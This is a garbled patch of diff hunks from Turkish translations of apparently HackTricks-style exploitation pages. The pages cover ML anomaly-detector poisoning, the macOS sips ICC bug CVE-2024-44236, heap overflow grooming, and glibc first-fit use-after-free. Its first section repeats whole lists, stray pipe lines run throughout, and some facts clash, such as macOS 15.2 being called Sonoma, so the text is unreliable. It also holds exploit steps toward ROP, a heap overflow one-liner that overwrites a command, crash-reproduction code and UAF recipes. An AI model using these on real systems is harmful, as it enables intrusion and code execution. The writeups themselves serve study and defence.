||||
Son çalışmalar, **denetimsiz öğrenicilerin aktif saldırganlara karşı *bağışık olmadığını* göstermiştir**:
|
||||
|
||||
* **Anomali tespit cihazlarına karşı veri zehirleme.** Chen *ve ark.* (IEEE S&P 2024), yalnızca %3 oranında hazırlanmış trafiğin eklenmesinin, Isolation Forest ve ECOD'un karar sınırını kaydırarak gerçek saldırıların normal görünmesini sağladığını gösterdi. Yazarlar, otomatik olarak zehir noktaları sentezleyen açık kaynaklı bir PoC (`udo-poison`) yayınladılar.
|
||||
* **Kümeleme modellerine arka kapı ekleme.** *BadCME* tekniği (BlackHat EU 2023), küçük bir tetikleyici deseni yerleştirir; bu tetikleyici ortaya çıktığında, K-Means tabanlı bir tespit cihazı olayı "iyi" bir kümeye sessizce yerleştirir.
|
||||
* **DBSCAN/HDBSCAN'dan kaçış.** KU Leuven'den 2025 akademik bir ön baskı, bir saldırganın kasıtlı olarak yoğunluk boşluklarına düşen işaretleme desenleri oluşturabileceğini, böylece *gürültü* etiketleri içinde etkili bir şekilde gizlenebileceğini gösterdi.
|
||||
* **Anomali tespit cihazlarına karşı veri zehirleme.** Chen *ve ark.* (IEEE S&P 2024), yalnızca %3 oranında hazırlanmış trafiğin eklenmesinin Isolation Forest ve ECOD'un karar sınırını kaydırarak gerçek saldırıların normal görünmesini sağladığını göstermiştir. Yazarlar, zehirleme noktalarını otomatik olarak sentezleyen açık kaynaklı bir PoC (`udo-poison`) yayınladılar.
|
||||
* **Kümeleme modellerine arka kapı ekleme.** *BadCME* tekniği (BlackHat EU 2023), küçük bir tetikleyici deseni yerleştirir; bu tetikleyici ortaya çıktığında, K-Means tabanlı bir tespit cihazı olayı "iyi huylu" bir kümeye sessizce yerleştirir.
|
||||
* **DBSCAN/HDBSCAN'dan kaçış.** KU Leuven'den 2025 akademik bir ön baskı, bir saldırganın kasıtlı olarak yoğunluk boşluklarına düşen işaretleme desenleri oluşturabileceğini, böylece *gürültü* etiketleri içinde etkili bir şekilde gizlenebileceğini gösterdi.
|
||||
|
||||
Gelişen hafifletme yöntemleri:
|
||||
|
||||
1. **Model sanitizasyonu / TRIM.** Her yeniden eğitim döneminden önce, zehirlemeyi dramatik şekilde zorlaştırmak için en yüksek kayıp noktalarının %1-2'sini (kesilmiş maksimum olasılık) atın.
|
||||
2. **Konsensüs toplama.** Birkaç heterojen tespit cihazını (örneğin, Isolation Forest + GMM + ECOD) birleştirin ve *herhangi bir* model bir noktayı işaretlediğinde bir uyarı verin. Araştırmalar, bunun saldırganın maliyetini >10 kat artırdığını göstermektedir.
|
||||
3. **Kümeleme için mesafe tabanlı savunma.** `k` farklı rastgele tohum ile kümeleri yeniden hesaplayın ve sürekli olarak kümeleri değiştiren noktaları göz ardı edin.
|
||||
1. **Model sanitizasyonu / TRIM.** Her yeniden eğitim döneminden önce, zehirlemeyi dramatik şekilde zorlaştırmak için en yüksek kayıp noktalarının %1-2'sini (kesilmiş maksimum olasılık) atın.
|
||||
2. **Konsensüs toplama.** Birkaç heterojen tespit cihazını (örn., Isolation Forest + GMM + ECOD) birleştirin ve *herhangi bir* model bir noktayı işaretlediğinde bir uyarı verin. Araştırmalar, bunun saldırganın maliyetini >10 kat artırdığını göstermektedir.
|
||||
3. **Kümeleme için mesafe tabanlı savunma.** `k` farklı rastgele tohum ile kümeleri yeniden hesaplayın ve sürekli olarak kümeleri değiştiren noktaları göz ardı edin.
|
||||
|
||||
---
|
||||
|
||||
### Modern Açık Kaynak Araçları (2024-2025)
|
||||
|
||||
* **PyOD 2.x** (Mayıs 2024'te yayınlandı) *ECOD*, *COPOD* ve GPU hızlandırmalı *AutoFormer* tespit cihazlarını ekledi. Artık, veri kümeniz üzerinde 30'dan fazla algoritmayı **tek bir kod satırıyla** karşılaştırmanıza olanak tanıyan bir `benchmark` alt komutu ile birlikte geliyor:
|
||||
* **PyOD 2.x** (Mayıs 2024'te yayınlandı) *ECOD*, *COPOD* ve GPU hızlandırmalı *AutoFormer* tespit cihazlarını ekledi. Artık, veri kümeniz üzerinde 30'dan fazla algoritmayı **tek bir kod satırıyla** karşılaştırmanıza olanak tanıyan bir `benchmark` alt komutu ile birlikte geliyor:
|
||||
```bash
|
||||
pyod benchmark --input logs.csv --label attack --n_jobs 8
|
||||
```
|
||||
@ -502,7 +502,7 @@ pyod benchmark --input logs.csv --label attack --n_jobs 8
|
||||
* **scikit-learn 1.5** (Kas 2024) nihayet `score_samples`'ı *HDBSCAN* için yeni `cluster.HDBSCAN` sarmalayıcısı aracılığıyla açığa çıkardı, böylece Python 3.12'deyken harici katkı paketine ihtiyacınız yoktur.
|
||||
|
||||
<details>
|
||||
<summary>Hızlı PyOD örneği – ECOD + Isolation Forest toplama</summary>
|
||||
<summary>Hızlı PyOD örneği – ECOD + Isolation Forest toplaması</summary>
|
||||
```python
|
||||
from pyod.models import ECOD, IForest
|
||||
from pyod.utils.data import generate_data, evaluate_print
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Genel Bakış
|
||||
|
||||
Apple macOS **Scriptable Image Processing System** (`sips`) ICC profil ayrıştırıcısındaki sınır dışı **sıfır-yazma** açığı (macOS 15.0.1, `sips-307`), bir saldırganın yığın meta verilerini bozmasına ve primitive'i tam kod yürütmeye yönlendirmesine olanak tanır. Hata, `lutAToBType` (`mAB `) ve `lutBToAType` (`mBA `) etiketlerinin `offsetToCLUT` alanının işlenmesinde bulunmaktadır. Saldırganlar `offsetToCLUT == tagDataSize` ayarlarsa, ayrıştırıcı **yığın tamponunun sonundan 16 byte siler**. Yığın spreyleme, saldırgana ayırıcı yapılarını veya daha sonra dereferans edilecek C++ işaretçilerini sıfırlama imkanı tanır ve bu da **arbitrary-write-to-exec** zincirine yol açar (CVE-2024-44236, CVSS 7.8).
|
||||
Apple macOS **Scriptable Image Processing System** (`sips`) ICC profil ayrıştırıcısındaki sınır dışı **sıfır-yazma** açığı (macOS 15.0.1, `sips-307`), bir saldırganın yığın meta verilerini bozmasına ve primitive'i tam kod yürütmeye yönlendirmesine olanak tanır. Hata, `lutAToBType` (`mAB `) ve `lutBToAType` (`mBA `) etiketlerinin `offsetToCLUT` alanının işlenmesinde bulunmaktadır. Saldırganlar `offsetToCLUT == tagDataSize` ayarladığında, ayrıştırıcı **yığın tamponunun sonundan 16 byte siler**. Yığın spreyleme, saldırgana ayırıcı yapıları veya daha sonra dereferans edilecek C++ işaretçilerini sıfırlama imkanı tanır ve bu da **arbitrary-write-to-exec** zincirine yol açar (CVE-2024-44236, CVSS 7.8).
|
||||
|
||||
> Apple, hatayı macOS Sonoma 15.2 / Ventura 14.7.1'de (30 Ekim 2024) yamanmıştır. İkinci bir varyant (CVE-2025-24185) 1 Nisan 2025'te macOS 15.5 ve iOS/iPadOS 18.5'te düzeltilmiştir.
|
||||
|
||||
## Açık Kod
|
||||
## Açık Kodu
|
||||
```c
|
||||
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
if (offsetToCLUT <= tagDataSize) {
|
||||
@ -23,7 +23,7 @@ buffer[i] = 0; // no bounds check vs allocated size!
|
||||
|
||||
* Minimal bir ICC başlığı (`acsp`) ayarlayın ve bir `mAB ` (veya `mBA `) etiketi ekleyin.
|
||||
* Etiket tablosunu **`offsetToCLUT` etiket boyutuna** (`tagDataSize`) eşit olacak şekilde yapılandırın.
|
||||
* Etiketin hemen sonrasına saldırgan kontrolündeki verileri yerleştirin, böylece 16 sıfır yazması ayırıcı meta verileriyle örtüşsün.
|
||||
* Etiketin hemen sonrasına saldırgan kontrolündeki verileri yerleştirin, böylece 16 sıfır yazma, ayırıcı meta verileriyle örtüşsün.
|
||||
|
||||
2. **Profili etkileyen herhangi bir sips işlemi ile ayrıştırmayı tetikleyin**
|
||||
|
||||
@ -35,7 +35,7 @@ sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **Yığın meta verisi bozulması ➜ keyfi yazma ➜ ROP**
|
||||
Apple’ın varsayılan **`nano_zone`** ayırıcısında, 16 baytlık slotlar için meta veriler **0x1000 hizalanmış** bloktan **hemen sonra** bulunur. Profilin etiketini böyle bir bloğun sonuna yerleştirerek, 16 sıfır yazması `meta->slot_B`'yi bozar. Ardından gelen bir `free` işleminden sonra, zehirlenmiş işaretçi küçük serbest listeye eklenir, bu da saldırgana **keyfi bir adreste sahte bir nesne ayırma** ve sips tarafından kullanılan bir C++ vtable işaretçisini yazma imkanı tanır, nihayetinde yürütmeyi kötü niyetli ICC tamponunda saklanan bir ROP zincirine yönlendirir.
|
||||
Apple’ın varsayılan **`nano_zone`** ayırıcıda, 16 baytlık slotlar için meta veriler **0x1000 slab'inin hizalanmış** kısmının hemen sonrasında bulunur. Profilin etiketini böyle bir slab'in sonuna yerleştirerek, 16 sıfır yazma `meta->slot_B`'yi bozar. Ardından gelen bir `free` işleminden sonra, zehirlenmiş işaretçi küçük serbest listeye eklenir, bu da saldırgana **keyfi bir adreste sahte bir nesne ayırma** ve sips tarafından kullanılan bir C++ vtable işaretçisini yazma imkanı tanır, nihayetinde yürütmeyi kötü niyetli ICC tamponunda saklanan bir ROP zincirine yönlendirir.
|
||||
|
||||
### Hızlı PoC üretici (Python 3)
|
||||
```python
|
||||
@ -77,15 +77,15 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
```
|
||||
## Etki
|
||||
|
||||
Özel olarak hazırlanmış bir ICC profilinin açılması veya işlenmesi, çağrıyı yapan kullanıcının bağlamında uzaktan **keyfi kod yürütme** ile sonuçlanır (Önizleme, QuickLook, Safari görüntü işleme, Mail ekleri vb.), profilin aksi takdirde zararsız olan görüntülerin (PNG/JPEG/TIFF) içine gömülebilmesi nedeniyle Gatekeeper'ı atlatır.
|
||||
Özelleştirilmiş bir ICC profilinin açılması veya işlenmesi, çağıran kullanıcının bağlamında uzaktan **keyfi kod yürütme** ile sonuçlanır (Önizleme, QuickLook, Safari görüntü işleme, Mail ekleri vb.), profilin aksi takdirde zararsız olan görüntülerin (PNG/JPEG/TIFF) içine gömülebilmesi nedeniyle Gatekeeper'ı atlatır.
|
||||
|
||||
## Tespit ve Azaltma
|
||||
|
||||
* **Yaman!** Ana bilgisayarın macOS ≥ 15.2 / 14.7.1 (veya iOS/iPadOS ≥ 18.1) çalıştığından emin olun.
|
||||
* **Yamanlayın!** Ana bilgisayarın macOS ≥ 15.2 / 14.7.1 (veya iOS/iPadOS ≥ 18.1) çalıştığından emin olun.
|
||||
* Yukarıdaki YARA kuralını e-posta geçitlerinde ve EDR çözümlerinde dağıtın.
|
||||
* Güvenilmeyen dosyalar üzerinde daha fazla işlem yapmadan önce gömülü ICC profillerini `exiftool -icc_profile= -overwrite_original <file>` ile temizleyin veya kaldırın.
|
||||
* Bilinmeyen içeriği analiz ederken Önizleme/QuickLook'u "şeffaflık ve modernizasyon" VM'leri içinde kumanda ederek güçlendirin.
|
||||
* DFIR için, birleşik günlükte kumanda edilen uygulamalar tarafından `sips --verifyColor` veya `ColorSync` kütüphane yüklemelerinin son zamanlarda yürütülüp yürütülmediğine bakın.
|
||||
* DFIR için, birleşik günlükte kumanda edilen uygulamalar tarafından `sips --verifyColor` veya `ColorSync` kütüphane yüklemelerinin son zamanlarda yürütülüp yürütülmediğini kontrol edin.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -15,27 +15,27 @@ Stack overflow'larda, talimat işaretçisi veya stack çerçevesi gibi bazı kay
|
||||
|
||||
Stack overflow'larda, güvenlik açığının tetiklenebileceği anda stack'te bulunacak düzen ve veri oldukça güvenilirdir. Bunun nedeni, stack'in lineer olması, her zaman çarpışan bellek içinde artması, **programın çalışmasının belirli yerlerinde stack belleğinin genellikle benzer türde verileri depolamasıdır** ve her fonksiyon tarafından kullanılan stack parçasının sonunda bazı işaretçilerle belirli bir yapıya sahip olmasıdır.
|
||||
|
||||
Ancak, heap overflow durumunda, kullanılan bellek lineer değildir, **ayrılan parçalar genellikle bellek içinde ayrı konumlarda** (birbirinin yanında değil) bulunur çünkü **boyutlarına göre ayrılan alanları ayıran kutular ve bölgeler** vardır ve **önceki serbest bırakılan bellek** yeni parçalar ayırmadan önce kullanılır. **Hedef nesnenin, heap overflow'a karşı savunmasız olan nesneyle çarpışacağını bilmek karmaşıktır.** Bu nedenle, bir heap overflow bulunduğunda, **istenen nesnenin, overflow edilebilecek nesneden sonra bellekte gelmesini sağlamak için güvenilir bir yol bulmak** gereklidir.
|
||||
Ancak, heap overflow durumunda, kullanılan bellek lineer değildir, **ayrılan parçalar genellikle bellek içinde ayrı konumlarda** (birbirinin yanında değil) bulunur çünkü **boyutlarına göre ayrılan alanları** ayıran **bins ve zonlar** vardır ve **önceki serbest bellek kullanılır** yeni parçalar ayırmadan önce. **Hedef nesnenin, heap overflow'a karşı savunmasız olan nesneyle çarpışacağını bilmek karmaşıktır.** Bu nedenle, bir heap overflow bulunduğunda, **istenen nesnenin, overflow edilebilecek nesneden sonra bellekte gelmesini sağlamak için güvenilir bir yol bulmak** gereklidir.
|
||||
|
||||
Bunun için kullanılan tekniklerden biri **Heap Grooming**'dir, örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) açıklanmaktadır. Yazıda, iOS çekirdeğinde bir bölge bellek parçalarını depolamak için bellek tükendiğinde, bir çekirdek sayfası ile genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü açıklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçalar bu saldırıların istismarını zorlaştırmak için rastgele bir şekilde kullanılır).
|
||||
Bunun için kullanılan tekniklerden biri **Heap Grooming**'dir, örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) açıklanmaktadır. Yazıda, iOS çekirdeğinde bir alanın bellek parçalarını depolamak için bellek kalmadığında, bir çekirdek sayfası ile genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü açıklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçalar bu saldırıların istismarını zorlaştırmak için rastgele bir şekilde kullanılır).
|
||||
|
||||
Bu nedenle, önceki yazıda bir heap overflow gerçekleştiğinde, overflow edilen nesneyi bir kurban nesnesiyle çarpışmaya zorlamak için, **tüm serbest parçaların doldurulmasını ve yeni bir sayfanın oluşturulmasını sağlamak için birkaç `kalloc` birkaç iş parçacığı tarafından zorlanır.**
|
||||
Bu nedenle, önceki yazıda bir heap overflow gerçekleştiğinde, overflow edilen nesneyi bir kurban nesnesiyle çarpışmaya zorlamak için, **tüm serbest parçaların doldurulmasını sağlamak ve yeni bir sayfanın oluşturulmasını sağlamak için birkaç `kalloc` birkaç iş parçacığı tarafından zorlanır.**
|
||||
|
||||
Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach portu ile ilişkili dışarıdan ayrılan bellek** ideal bir adaydır. Mesajın boyutunu ayarlayarak, `kalloc` tahsisini tam olarak belirlemek mümkündür ve ilgili mach portu yok edildiğinde, ilgili tahsis hemen `kfree`'ye geri verilecektir.
|
||||
Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach portu ile ilişkili dışarıda ayrılan bellek** ideal bir adaydır. Mesajın boyutunu şekillendirerek, `kalloc` ayrımının boyutunu tam olarak belirlemek mümkündür ve ilgili mach portu yok edildiğinde, ilgili ayrım hemen `kfree`'ye geri verilecektir.
|
||||
|
||||
Sonra, bu yer tutuculardan bazıları **serbest bırakılabilir**. **`kalloc.4096` serbest listesi, son giren ilk çıkan sırasına göre elemanları serbest bırakır**, bu da temelde bazı yer tutucular serbest bırakıldığında ve istismar, overflow'a karşı savunmasız nesneyi tahsis etmeye çalışırken birkaç kurban nesnesi tahsis etmeye çalıştığında, bu nesnenin bir kurban nesnesiyle takip edilme olasılığının yüksek olduğu anlamına gelir.
|
||||
Sonra, bu yer tutuculardan bazıları **serbest bırakılabilir**. **`kalloc.4096` serbest listesi, son giren ilk çıkar sırasına göre elemanları serbest bırakır**, bu temelde, bazı yer tutucular serbest bırakıldığında ve istismar, overflow'a karşı savunmasız nesneyi ayırmaya çalışırken birkaç kurban nesnesi ayırmaya çalışırsa, bu nesnenin bir kurban nesnesinden sonra gelmesi olasıdır.
|
||||
|
||||
### Örnek libc
|
||||
|
||||
[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) temel bir Heap overflow emülasyonu bulmak mümkündür; bu emülasyon, bir sonraki parçanın prev in use bitini ve prev boyutunu üzerine yazarak **kullanılan bir parçayı konsolide etmenin** (kullanılmamış gibi düşünmesini sağlayarak) ve **sonra tekrar tahsis etmenin** nasıl mümkün olduğunu gösterir; böylece farklı bir işaretçide kullanılan verileri de üzerine yazma imkanı sağlar.
|
||||
[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) bir temel Heap overflow emülasyonu bulmak mümkündür; bu emülasyon, bir sonraki parçanın prev in use bitini ve prev boyutunun konumunu üzerine yazarak **kullanılan bir parçayı konsolide etmenin** (kullanılmamış gibi düşünmesini sağlayarak) ve **sonra tekrar ayırmanın** mümkün olduğunu göstermektedir.
|
||||
|
||||
[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) adlı başka bir örnek, bir **heap overflow**'un istismar edilebileceği çok temel bir CTF örneğini göstermektedir; bu örnekte **bayrağı almak için** kazanan fonksiyonu çağırmak mümkündür.
|
||||
|
||||
[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) örneğinde, bir buffer overflow istismar edilerek **yakın bir parçaya bir adresin üzerine yazılmasının** mümkün olduğu gösterilmektedir; burada **kullanıcıdan rastgele verilerin** yazılacağı bir adres bulunmaktadır.
|
||||
[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) örneğinde, bir buffer overflow istismar ederek, **yakın bir parçaya bir adresi üzerine yazmanın** mümkün olduğu gösterilmektedir; bu adrese **kullanıcıdan rastgele veriler** yazılacaktır.
|
||||
|
||||
### Örnek ARM64
|
||||
|
||||
[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) sayfasında, yürütülecek bir komutun overflow edilen parçanın sonraki parçasında depolandığı bir heap overflow örneği bulabilirsiniz. Bu nedenle, yürütülen komutu, aşağıdaki gibi basit bir istismar ile üzerine yazarak değiştirmek mümkündür:
|
||||
[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) sayfasında, yürütülecek bir komutun overflow edilen parçanın sonraki parçasında depolandığı bir heap overflow örneği bulabilirsiniz. Bu nedenle, yürütülen komutu, kolay bir istismar ile üzerine yazarak değiştirmek mümkündür:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
@ -43,7 +43,7 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- Bir Heap Overflow elde etmek için Integer Overflow zafiyetini kullanıyoruz.
|
||||
- Bir `struct` içindeki bir işlevin işaretçilerini bozarız, taşan parçanın içine `system` gibi bir işlev ayarlayıp kod yürütmesi sağlarız.
|
||||
- Bir `struct` içindeki bir işlevin işaretçilerini bozarız, taşan parçanın içine `system` gibi bir işlev ayarlayıp kod yürütme elde ederiz.
|
||||
|
||||
### Gerçek Dünya Örneği: CVE-2025-40597 – `__sprintf_chk`'nin Yanlış Kullanımı
|
||||
|
||||
@ -57,9 +57,9 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
"%s%s%s%s", /* format */
|
||||
"/", "https://", path, host);
|
||||
```
|
||||
`__sprintf_chk` **_FORTIFY_SOURCE**'un bir parçasıdır. **Pozitif** bir `size` parametresi aldığında, sonuçta oluşan string'in hedef tamponun içine sığdığını doğrular. **`-1` (0xFFFFFFFFFFFFFFFF)** geçirerek, geliştiriciler etkili bir şekilde **sınır kontrolünü devre dışı bıraktılar**, güçlendirilmiş çağrıyı klasik, güvensiz `sprintf`'ye geri döndürdüler.
|
||||
`__sprintf_chk`, **_FORTIFY_SOURCE**'un bir parçasıdır. **Pozitif** bir `size` parametresi aldığında, sonuçta oluşan string'in hedef tamponun içine sığdığını doğrular. **`-1` (0xFFFFFFFFFFFFFFFF)** geçirerek, geliştiriciler etkili bir şekilde **sınır kontrolünü devre dışı bıraktılar**, güçlendirilmiş çağrıyı klasik, güvensiz `sprintf`'ye geri döndürdüler.
|
||||
|
||||
Aşırı uzun bir **`Host:`** başlığı sağlamak, bu nedenle bir saldırganın **0x80 baytlık parçayı taşmasına ve sonraki yığın parçasının meta verilerini bozmasına** olanak tanır (tcache / fast-bin / small-bin, ayırıcıya bağlı olarak). Bir çökme şu şekilde yeniden üretilebilir:
|
||||
Aşırı uzun bir **`Host:`** başlığı sağlamak, bu nedenle bir saldırganın **0x80 baytlık parçayı taşmasına ve sonraki heap parçasının meta verilerini bozmasına** olanak tanır (tcache / fast-bin / small-bin, ayırıcıya bağlı olarak). Bir çökme şu şekilde yeniden üretilebilir:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
|
||||
@ -8,13 +8,13 @@ Bir programda glibc kullanarak bellek serbest bıraktığınızda, bellek parça
|
||||
|
||||
### Sıralanmamış Kutular
|
||||
|
||||
Hızlı bir parça olmayan bir bellek parçasını serbest bıraktığınızda, bu sıralanmamış kutuya gider. Bu kutu, yeni serbest bırakılan parçaların ön tarafa (baş) eklendiği bir liste gibi davranır. Yeni bir bellek parçası talep ettiğinizde, allocator sıralanmamış kutuya arka taraftan (kuyruk) bakarak yeterince büyük bir parça bulur. Eğer sıralanmamış kutudan bir parça, ihtiyacınız olandan büyükse, bu parça bölünür; ön kısım geri döner ve kalan kısım kutuda kalır.
|
||||
Hızlı bir parça olmayan bir bellek parçasını serbest bıraktığınızda, bu sıralanmamış kutuya gider. Bu kutu, yeni serbest bırakılan parçaların ön tarafa (baş) eklendiği bir liste gibi davranır. Yeni bir bellek parçası talep ettiğinizde, ayırıcı sıralanmamış kutuya arka taraftan (kuyruk) bakarak yeterince büyük bir parça bulur. Eğer sıralanmamış kutudan bir parça, ihtiyacınız olandan büyükse, bu parça bölünür; ön kısım geri döner ve kalan kısım kutuda kalır.
|
||||
|
||||
Örnek:
|
||||
|
||||
- 300 bayt (`a`) ayırırsınız, sonra 250 bayt (`b`), ardından `a`yı serbest bırakır ve tekrar 250 bayt (`c`) talep edersiniz.
|
||||
- `a`yı serbest bıraktığınızda, bu sıralanmamış kutuya gider.
|
||||
- Eğer tekrar 250 bayt talep ederseniz, allocator `a`yı kuyrukta bulur ve onu böler, talebinize uyan kısmı geri döner ve geri kalanını kutuda tutar.
|
||||
- Eğer sonra tekrar 250 bayt talep ederseniz, ayırıcı `a`yı kuyrukta bulur ve onu böler, talebinize uyan kısmı geri döner ve geri kalanını kutuda tutar.
|
||||
- `c`, önceki `a`ya işaret edecek ve `a`nın içeriği ile doldurulacaktır.
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
@ -24,7 +24,7 @@ char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
Fastbins, küçük bellek parçaları için kullanılır. Sıralanmamış kutuların aksine, fastbins yeni parçaları başa ekler ve son giren ilk çıkar (LIFO) davranışı oluşturur. Küçük bir bellek parçası talep ederseniz, allocator fastbin'in başından alır.
|
||||
Fastbins, küçük bellek parçaları için kullanılır. Sıralanmamış kutuların aksine, fastbins yeni parçaları başa ekler, bu da son giren ilk çıkar (LIFO) davranışı oluşturur. Küçük bir bellek parçası talep ederseniz, allocator fastbin'in başından alır.
|
||||
|
||||
Örnek:
|
||||
```c
|
||||
@ -44,7 +44,7 @@ d = malloc(20); // a
|
||||
---
|
||||
### 🔥 Modern glibc dikkate alındığında (tcache ≥ 2.26)
|
||||
|
||||
glibc 2.26'dan itibaren her bir thread kendi **tcache**'ini *unsorted bin*'den *önce* sorgular. Bu nedenle bir first-fit senaryosu **yalnızca** aşağıdaki durumlarda **ulaşılabilir**:
|
||||
glibc 2.26'dan itibaren her thread kendi **tcache**'ini *unsorted bin*'den *önce* sorgular. Bu nedenle bir first-fit senaryosu **sadece** şu durumlarda **ulaşılabilir**:
|
||||
|
||||
1. İstenen boyut **`tcache_max`'dan daha büyükse** (64-bit'te varsayılan olarak 0x420), *veya*
|
||||
2. İlgili tcache bin **zaten dolu veya manuel olarak boşaltılmışsa** (7 eleman tahsis edilip kullanılırken tutulduğunda).
|
||||
@ -94,20 +94,20 @@ Exploitation recipe (common in recent CTFs):
|
||||
|
||||
1. **Hedef boyut için** tcache'i boşaltın.
|
||||
2. **Bir parça serbest bırakın** böylece sıralanmamış kutuya düşer.
|
||||
3. **Biraz daha küçük bir boyut ayırın** – allocator sıralanmamış parçayı böler.
|
||||
3. **Biraz daha küçük bir boyut ayırın** – ayırıcı sıralanmamış parçayı böler.
|
||||
4. **Tekrar ayırın** – kalan kısım mevcut bir kullanımda olan parça ile örtüşür → UAF.
|
||||
5. Hassas alanları (fonksiyon işaretçileri, FILE vtable, vb.) üzerine yazın.
|
||||
|
||||
Pratik bir uygulama, bu tam ilkenin `__free_hook` üzerinde tam kontrol sağlamak için UAF'den geçiş yapmak için kullanıldığı 2024 HITCON Quals *Setjmp* zorluğunda bulunabilir.{{#ref}}
|
||||
Pratik bir uygulama, bu tam ilkenin bir UAF'den `__free_hook` üzerinde tam kontrol sağlamak için kullanıldığı 2024 HITCON Quals *Setjmp* zorluğunda bulunabilir.{{#ref}}
|
||||
../../../../references/2024_setjmp_firstfit.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
### 🛡️ Önlemler & Sertleştirme
|
||||
### 🛡️ Önlemler & Güçlendirme
|
||||
|
||||
* **Güvenli bağlantı (glibc ≥ 2.32)** yalnızca tek bağlı *tcache*/**fastbin** listelerini korur. Sıralanmamış/küçük/büyük kutular hala ham işaretçileri saklar, bu nedenle bir heap leak elde edebilirseniz, ilk uygun tabanlı örtüşmeler geçerliliğini korur.
|
||||
* **Heap işaretçi şifreleme & MTE** (ARM64) henüz x86-64 glibc'yi etkilemiyor, ancak `GLIBC_TUNABLES=glibc.malloc.check=3` gibi dağıtım sertleştirme bayrakları tutarsız meta verilerde abort yapar ve naif PoC'leri bozabilir.
|
||||
* **Serbest bırakıldığında tcache doldurma** (2024'te glibc 2.41 için önerildi) sıralanmamış kullanımı daha da azaltır; genel exploitler geliştirirken gelecekteki sürümleri izleyin.
|
||||
* **Güvenli bağlantı (glibc ≥ 2.32)** yalnızca tek bağlı *tcache*/**fastbin** listelerini korur. Sıralanmamış/küçük/büyük kutular hala ham işaretçileri saklar, bu nedenle bir heap leak elde edebilirseniz ilk uygun tabanlı örtüşmeler geçerliliğini korur.
|
||||
* **Heap işaretçi şifreleme & MTE** (ARM64) henüz x86-64 glibc'yi etkilemiyor, ancak `GLIBC_TUNABLES=glibc.malloc.check=3` gibi dağıtım güçlendirme bayrakları tutarsız meta verilerde abort yapar ve naif PoC'leri bozabilir.
|
||||
* **Serbest bırakıldığında tcache doldurma** (2024'te glibc 2.41 için önerildi) sıralanmamış kullanımı daha da azaltır; genel istismarlar geliştirirken gelecekteki sürümleri izleyin.
|
||||
|
||||
---
|
||||
## Diğer Referanslar & Örnekler
|
||||
@ -116,14 +116,14 @@ Pratik bir uygulama, bu tam ilkenin `__free_hook` üzerinde tam kontrol sağlama
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Kullanımdan sonra: Bir kullanıcı nesnesi oluşturun, serbest bırakın, serbest bırakılan parçayı alan bir nesne oluşturun ve buna yazma izni verin, **önceki nesneden user->password konumunu üzerine yazın**. Kullanıcıyı **şifre kontrolünü atlamak için yeniden kullanın**.
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- Program notlar oluşturulmasına izin verir. Bir not, bir işlevi çağırabilecek bir işlev işaretçisine sahip bir malloc(8) içinde not bilgilerini ve notun içeriği ile başka bir malloc(<boyut>) için bir işaretçi içerecektir.
|
||||
- Program notlar oluşturulmasına izin verir. Bir not, bir malloc(8) içinde not bilgilerini (çağrılabilecek bir fonksiyona işaretçi ile) ve notun içeriği ile başka bir malloc(<boyut>) işaretçisini içerecektir.
|
||||
- Saldırı, not bilgisi boyutundan daha büyük malloc içeriklerine sahip 2 not (note0 ve note1) oluşturmak ve ardından bunları serbest bırakmak olacaktır, böylece hızlı kutuya (veya tcache'e) gireceklerdir.
|
||||
- Daha sonra, içerik boyutu 8 olan başka bir not (note2) oluşturun. İçerik, not1'de olacak çünkü parça yeniden kullanılacak, burada işlev işaretçisini kazanan işlevine işaret edecek şekilde değiştirebiliriz ve ardından Not1'i Kullanımdan Sonra serbest bırakıp yeni işlev işaretçisini çağırabiliriz.
|
||||
